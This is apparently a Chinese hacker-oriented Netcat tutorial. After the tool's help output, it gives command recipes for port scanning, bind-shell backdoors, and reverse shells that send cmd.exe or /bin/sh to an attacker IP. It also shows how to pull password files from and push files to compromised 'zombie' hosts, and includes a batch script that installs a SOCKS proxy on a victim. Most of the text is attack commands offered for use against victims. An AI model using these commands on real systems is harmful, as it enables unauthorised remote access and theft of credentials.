標籤:des http 使用 os 檔案 資料
######################################################################
1. 寫在前面的話
######################################################################
NC這個駭客必備的武器,被稱為”瑞士軍刀”可見功能之強大.
對照win2000微軟的telnet.exe和微軟的tlntsvr.exe服務,串連的時候就能夠看出來了.
1.1 NC.EXE是一個非標準的telnetclient程式,
1.2 另一個putty.execlient程式,提供四種串連模式
-raw -telnet -rlogin -ssh.
儘管如今也新出了GUI版的中文“NC”,可是相比起來還是這個好用。
######################################################################
2. Netcat 1.10 for NT 協助資訊
######################################################################
C:/WINDOWS/Desktop>nc -h
[v1.10 NT]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d detach from console, background mode (後台模式)
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft (本協助資訊)
-i secs delay interval for lines sent, ports scanned (延遲時間)
-l listen mode, for inbound connects (監聽模式,等待串連)
-L listen harder, re-listen on socket close (串連關閉後,仍然繼續監聽)
-n numeric-only IP addresses, no DNS (ip數字模式,非dns解析)
-o file hex dump of traffic (十六進位模式輸出檔案,三段)
-p port local port number (本地連接埠)
-r randomize local and remote ports (隨機本地遠程連接埠)
-s addr local source address (本地源地址)
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose] (-vv 很多其它資訊)
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning] (掃描模式,-vv)
port numbers can be individual or ranges: m-n [inclusive]
######################################################################
3. Netcat 1.10 經常使用的命令格式
######################################################################
3.1.port的刺探:
nc -vv ip port
RIVER [192.168.0.198] 19190 (?) open //顯示是否開放open
3.2.掃描器
nc -vv -w 5 ip port-port port
nc -vv -z ip port-port port
這樣掃描會留下大量的痕迹,系統管理員會額外小心
3.3. 後門
victim machine: //受害者的機器
nc -l -p port -e cmd.exe //win2000
nc -l -p port -e /bin/sh //unix,linux
attacker machine: //攻擊者的機器.
nc ip -p port //串連victim_IP,然後得到一個shell。
3.4.反向串連
attacker machine: //通常是sql2.exe,遠程溢出,webdavx3.exe攻擊.
//或者wollf的反向串連.
nc -vv -l -p port
victim machine:
nc -e cmd.exe attacker ip -p port
nc -e /bin/sh attacker ip -p port
或者:
attacker machine:
nc -vv -l -p port1 /*用於輸入*/
nc -vv -l -p prot2 /*用於顯示*/
victim machine:
nc attacker_ip port1 cmd.exe nc attacker_ip port2
nc attacker_ip port1 /bin/sh nc attacker_ip port2
139要加參數-s(nc.exe -L -p 139 -d -e cmd.exe -s 對方機器IP)
這樣就能夠保證nc.exe優先於NETBIOS。
3.5.傳送檔案:
3.5.1 attacker machine <-- victim machine //從肉雞拖password檔案回來.
nc -d -l -p port < path/filedest /*attacker machine*/ 能夠shell運行
nc -vv attacker_ip port > path/file.txt /*victim machine*/ 須要Ctrl+C退出
//肉雞須要gui介面的cmd.exe裡面運行(終端登陸,不如安裝FTP方便).否則沒有辦法輸入Crl+C.
3.5.2 attacker machine --> victim machine //上傳命令檔案到肉雞
nc -vv -l -p port > path/file.txt /*victim machine*/ 須要Ctrl+C退出
nc -d victim_ip port < path/filedest /*attacker machine*/ 能夠shell運行
//這樣比較好.我們登陸終端.入侵其它的肉雞.能夠選擇shell模式登陸.
結論: 能夠傳輸ascii,bin檔案.能夠傳輸程式檔案.
問題:串連某個ip後,傳送完畢後,須要發送Ctrl+C退出nc.exe .
或者僅僅有再次串連使用pskill.exe 殺掉進程.可是是否釋放傳輸檔案開啟的控制代碼了?
3.6 port資料抓包.
nc -vv -w 2 -o test.txt www.hackervip.com 80 21-15
< 00000058 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntax error
< 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 # , command "" unr
< 00000078 65 63 6f 67 6e 69 7a 65 64 2e 0d 0a # ecognized...
< 00000084 83 00 00 01 8f # .....
3.7 telnet,自己主動批處理。
nc victim_ip port < path/file.cmd /*victim machine*/ 顯示運行過程.
nc -vv victim_ip port < path/file.cmd /*victim machine*/ 顯示運行過程.
nc -d victim_ip port < path/file.cmd 安靜模式.
_______________file.cmd________________________
password
cd %windir%
echo []=[%windir%]
c:
cd /
md test
cd /d %windir%/system32/
net stop sksockserver
snake.exe -config port 11111
net start sksockserver
exit